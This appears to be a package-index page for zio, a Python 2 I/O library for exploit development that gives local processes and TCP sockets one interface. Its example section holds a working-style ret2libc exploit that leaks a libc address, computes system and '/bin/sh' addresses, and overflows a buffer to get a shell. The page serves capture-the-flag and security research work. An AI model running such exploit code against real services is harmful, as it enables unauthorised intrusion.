Unified io lib for pwning development written in python.
Project description
zio
zio is an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io.
The primary goal of zio is to provide unified io interface between process stdin/stdout and TCP socket io. So when you have done local pwning development, you only need to change the io target to pwn the remote server.
The following code illustrate the basic idea.
from zio import *
# io = zio('./buggy-server') # used for local pwning development
# io = zio(('1.2.3.4', 1337)) # used to exploit remote service
io.write(your_awesome_ropchain_or_shellcode)
# hey, we got an interactive shell!
io.interact()
License
zio use SATA License (Star And Thank Author License), so you have to star this project before using. Read the LICENSE.txt carefully.
Dependency
Linux or OSX
Python 2.6, 2.7
- termcolor (optional, for color support)
$ pip install termcolor
Installation
This is a single-file project so in most cases you can just download zio.py and start using.
pip is also supported, so you can also install by running
$ pip2 install termcolor # for color support, optional
$ pip2 install zio
Examples
from zio import *
io = zio('./buggy-server')
# io = zio((pwn.server, 1337))
for i in xrange(1337):
io.writeline('add ' + str(i))
io.read_until('>>')
io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + "A" * 49 + "\nshow\n")
io.read_until('A' * 49)
libc_base = l32(io.read(4)) - 0x1a9960
libc_system = libc_base + 0x3ea70
libc_binsh = libc_base + 0x15fcbf
payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh)
io.write('info ' + payload + "\nshow\nexit\n")
io.read_until(">>")
# We've got a shell;-)
io.interact()
Document
To be added… Please wait…
about line break and carriage return
Just don’t read ‘n’ or ‘r’, use readline() instead
Thanks (Also references)
pexpect I borrowed a lot of code from here
python subprocess module
TTY related - http://linux.die.net/man/3/cfmakeraw - http://marcocorvi.altervista.org/games/lkpe/tty/tty.htm - http://www.linusakesson.net/programming/tty/
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.